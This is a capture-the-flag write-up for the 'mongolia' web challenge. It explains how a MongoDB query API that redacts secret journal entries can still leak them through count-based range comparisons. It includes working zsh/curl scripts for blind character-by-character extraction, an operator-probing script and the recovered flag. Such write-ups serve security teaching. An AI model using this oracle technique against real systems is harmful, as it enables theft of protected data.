Mongolia
Challenge
Content preserved from the original writeup source. Minimal normalization was applied to fit platform format.
Solution
Original Writeup Content (Preserved)
Squ1rrel CTF 2026 - Web/Mongolia Write-up
1. Challenge Overview
Note:
-
The challenge itself is from Squ1rrel/Squirrel CTF.
-
It is stored in a local folder path containing
hens_ctf, but that folder name is only local organization and not the event attribution. -
Category: Web
-
Challenge name: mongolia
-
Author: kyle
-
Score/solves at time observed: 397 points, 26 solves
Provided challenge text (paraphrased and preserved)
We were told:
- There is a website about two travelers journaling a journey in China.
- There are "weird entries" in the site.
- Main target URL:
https://mongolia.squ1rrel.dev - Important requirement: each team needs a unique database instance.
- To get a team-specific connection string, teams must solve at least 3 web challenges and then open a Discord ticket with organizers.
- A file and host were provided in the challenge statement:
mongolia.zip136.112.223.118:5069/mongolia
2. Initial Conditions
Initial files in workspace
- No initial local files were present in the workspace folder.
- So, analysis started directly from the live target URL and API behavior.
Initial link used
https://mongolia.squ1rrel.dev
3. Full Requirement (as interpreted technically)
To solve the challenge, we needed to:
- Connect to the app using an allowed MongoDB host format.
- Understand how the app handles journal entries and "secret" entries.
- Identify the security weakness in how secret journal data is protected.
- Extract the hidden value (flag) reliably.
Additionally, for official team solves, the same technique must be run against the team's own DB connection string/port after organizer approval.
4. Recon and First Findings
We fetched the homepage and discovered:
- A connect form asking for MongoDB host input.
- A query input field allowing user-supplied aggregation pipeline (JSON array).
- Frontend routes used:
POST /api/connectGET /api/journalsPOST /api/query
Important backend validation behavior observed:
- URL must match
136.112.223.118:<port>/mongolia. - Queries were sandboxed to allowed aggregation stages:
$match,$sort,$limit,$skip,$count,$group,$unwind,$sample
- Many operators were blocked (
$regex,$expr,$where, etc.).
5. Connection String Used
Demo/statement connection string used during analysis
136.112.223.118:5069/mongolia
Also accepted format
mongodb://136.112.223.118:5069/mongolia
For your team instance, replace port/value with the organizer-provided unique connection string.
6. Core Vulnerability and Exploit Idea
The application redacted secret journal text in API output (displaying [REDACTED]...) but still used the real underlying journal values in database comparisons.
That means:
- Direct read was blocked visually.
- But comparison-based queries (
$gte,$lt) still operated on true secret values. - This creates a blind exfiltration oracle using counts.
In plain terms for beginners:
- Think of it like a locked box where text is hidden when shown.
- But if you ask yes/no sorting questions about hidden text, the system still answers based on the real text.
- Repeating many yes/no checks reveals the secret one character at a time.
7. Trial and Error (What Failed vs What Worked)
7.1 Mistakes / dead ends / obsolete attempts
A) URL parser bypass attempts (failed)
Tried payloads like:
- query strings (
?x=1,?authSource=admin) - fragments (
#x) - path tricks (
%2f..%2fadmin) - multi-host seedlists
- credential-like forms (
@evil)
Result:
- Validator rejected all of them with strict format checks.
B) Aggregation stage bypass attempts (failed)
Tried stages such as:
$project$set$replaceRoot
Result:
- Explicitly rejected by stage allowlist.
C) Regex and expression matching (failed)
Tried operators such as:
$regex$expr$where
Result:
- Operators blocked by backend filter.
D) Script implementation mistakes (temporary)
- Initial zsh loops using Python/Bash-style slicing caused errors (
zsh: unrecognized modifier). - Fixed by switching to zsh-safe loops and then writing a standalone zsh script.
7.2 Correct path (worked)
- Confirmed there are many
secret:truedocs. - Confirmed redacted output is not equivalent to underlying comparisons.
- Built a blind prefix oracle using:
$matchwithjournalrange:$gteprefix and$ltprefix+high-sentinel$count
- Recovered flag characters iteratively until
}.
8. Full Working Code
This is the final script that successfully recovered the full flag from the analyzed instance:
#!/bin/zsh
TOKEN=$(curl -sS https://mongolia.squ1rrel.dev/api/connect -H 'Content-Type: application/json' --data '{"url":"136.112.223.118:5069/mongolia"}' | jq -r '.token')
prefix='squ1rrel{3rli4nh0tu4h_zin4li'
for pos in {1..40}; do
found=''
for code in {32..126}; do
c=$(printf "\\$(printf '%03o' "$code")")
cand="${prefix}${c}"
hi="${cand}~"
pipeline=$(jq -cn --arg lo "$cand" --arg hi "$hi" '[{"$match":{"secret":true,"journal":{"$gte":$lo,"$lt":$hi}}},{"$count":"n"}]')
body=$(jq -cn --arg p "$pipeline" '{pipeline:$p}')
cnt=$(curl -sS https://mongolia.squ1rrel.dev/api/query -H 'Content-Type: application/json' -H "x-session-token: $TOKEN" --data "$body" | jq -r '.[0].n // 0')
if [[ "$cnt" == "50000" ]]; then
prefix="$cand"
print -r -- "$pos $prefix"
found='1'
if [[ "$c" == '}' ]]; then
print -r -- "FLAG=$prefix"
exit 0
fi
break
fi
done
if [[ -z "$found" ]]; then
print -r -- "NO_MATCH_AT=$pos PREFIX=$prefix"
break
fi
done
print -r -- "FINAL_PREFIX=$prefix"
Expected output ending:
FLAG=squ1rrel{3rli4nh0tu4h_zin4li?}
9. Obsolete/Intermediate Code Samples
These were useful during experimentation but not final.
9.1 Early constrained charset brute-force (stopped before full recovery)
TOKEN=$(curl -sS https://mongolia.squ1rrel.dev/api/connect -H 'Content-Type: application/json' --data '{"url":"136.112.223.118:5069/mongolia"}' | jq -r '.token');
chars=(a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 '{' '}' '_' '-')
prefix=''
for pos in {1..40}; do
found=''
for c in "${chars[@]}"; do
cand="${prefix}${c}"
hi="${cand}"
pipeline=$(jq -cn --arg lo "$cand" --arg hi "$hi" '[{"$match":{"secret":true,"journal":{"$gte":$lo,"$lt":$hi}}},{"$count":"n"}]')
body=$(jq -cn --arg p "$pipeline" '{pipeline:$p}')
cnt=$(curl -sS https://mongolia.squ1rrel.dev/api/query -H 'Content-Type: application/json' -H "x-session-token: $TOKEN" --data "$body" | jq -r '.[0].n // 0')
if [[ "$cnt" == "50000" ]]; then
found="$c"
prefix="$cand"
printf '%02d %s\n' "$pos" "$prefix"
break
fi
done
if [[ -z "$found" ]]; then
echo "No charset match at position $pos for prefix '$prefix'"
break
fi
done
echo "Recovered prefix: $prefix"
Why obsolete:
- It did not include full printable characters, so it stalled when an unexpected symbol appeared.
9.2 Operator probing code (diagnostic only)
TOKEN=$(curl -sS https://mongolia.squ1rrel.dev/api/connect -H 'Content-Type: application/json' --data '{"url":"136.112.223.118:5069/mongolia"}' | sed -E 's/.*"token":"([^"]+)".*/\1/');
ops=(\$eq \$ne \$gt \$gte \$lt \$lte \$in \$nin \$exists \$type \$or \$and \$not \$expr \$where \$regex \$jsonSchema \$all \$size \$elemMatch)
for op in "${ops[@]}"; do
p='[{"$match":{"secret":true,"journal":{"'"$op"'":"x"}}},{"$limit":1}]'
out=$(curl -sS https://mongolia.squ1rrel.dev/api/query -H 'Content-Type: application/json' -H "x-session-token: $TOKEN" --data "{\"pipeline\":$(printf '%s' "$p" | jq -Rs .)}")
if echo "$out" | jq -e '.error' >/dev/null 2>&1; then
err=$(echo "$out" | jq -r '.error')
printf '%-12s -> %s\n' "$op" "$err"
else
printf '%-12s -> allowed\n' "$op"
fi
done
Why obsolete:
- Helped map restrictions but does not extract the flag by itself.
10. Final Flag
squ1rrel{3rli4nh0tu4h_zin4li?}
Important note:
- This appears to be from the analyzed instance (
:5069) used in this write-up. - Team-specific instances can produce team-specific outputs.
11. Meaning of the Flag
Likely intended phrase (leet-styled):
3rli4nh0tu4h_zin4li?approximately maps to words around "Erlianhot" and "finally?"- This aligns with journal place references (for example, Erenhot/Erlianhot region context in China/Mongolia travel storyline).
- The trailing
?suggests a playful/in-joke phrasing rather than a formal sentence.
Academic interpretation for students:
- CTF flags often encode context from challenge narrative, not random strings.
- Reading challenge text and data themes can guide exploit hypotheses.
12. Student-Friendly Lessons (Simple + Academic)
Security lessons
- Redaction is not access control.
- Hiding output text is weak if backend logic still exposes side channels.
- Query functionality can become an oracle.
- Even without direct read, counts and comparisons leak information.
- Allowlist security must be complete.
- Restricting stages/operators helps, but overlooked comparisons can still exfiltrate data.
- Side-channel attacks are practical in web APIs.
- Time, count, boolean, ordering, and error differences can all leak secrets.
Methodology lessons
- Start with recon and protocol mapping.
- Record what is blocked and what is allowed.
- Convert restrictions into a model.
- Use iterative automation for blind extraction.
- Keep logs of failed attempts; they are not wasted work.
Professional habits
- Separate diagnostic scripts from exploit scripts.
- Keep scripts deterministic and reproducible.
- Document assumptions and environment-specific values.
- Validate results before submission.
13. Reproduction Steps for Another Team Instance
- Obtain your team-specific connection string from organizers.
- Replace URL in connect request script with your team port/value.
- Re-run the same blind-prefix extraction logic.
- Stop extraction once closing brace
}is reached. - Submit extracted flag.
14. Ethical Note
This write-up is for CTF educational use in an authorized environment. The same techniques should not be applied to systems without explicit permission.
Appendix: Minimal one-liner concept
At each step, test candidate prefix + c by querying:
[
{
"$match": {
"secret": true,
"journal": {
"$gte": "<prefix+c>",
"$lt": "<prefix+c plus high sentinel>"
}
}
},
{ "$count": "n" }
]
If n equals total secret-doc count, that candidate character is correct.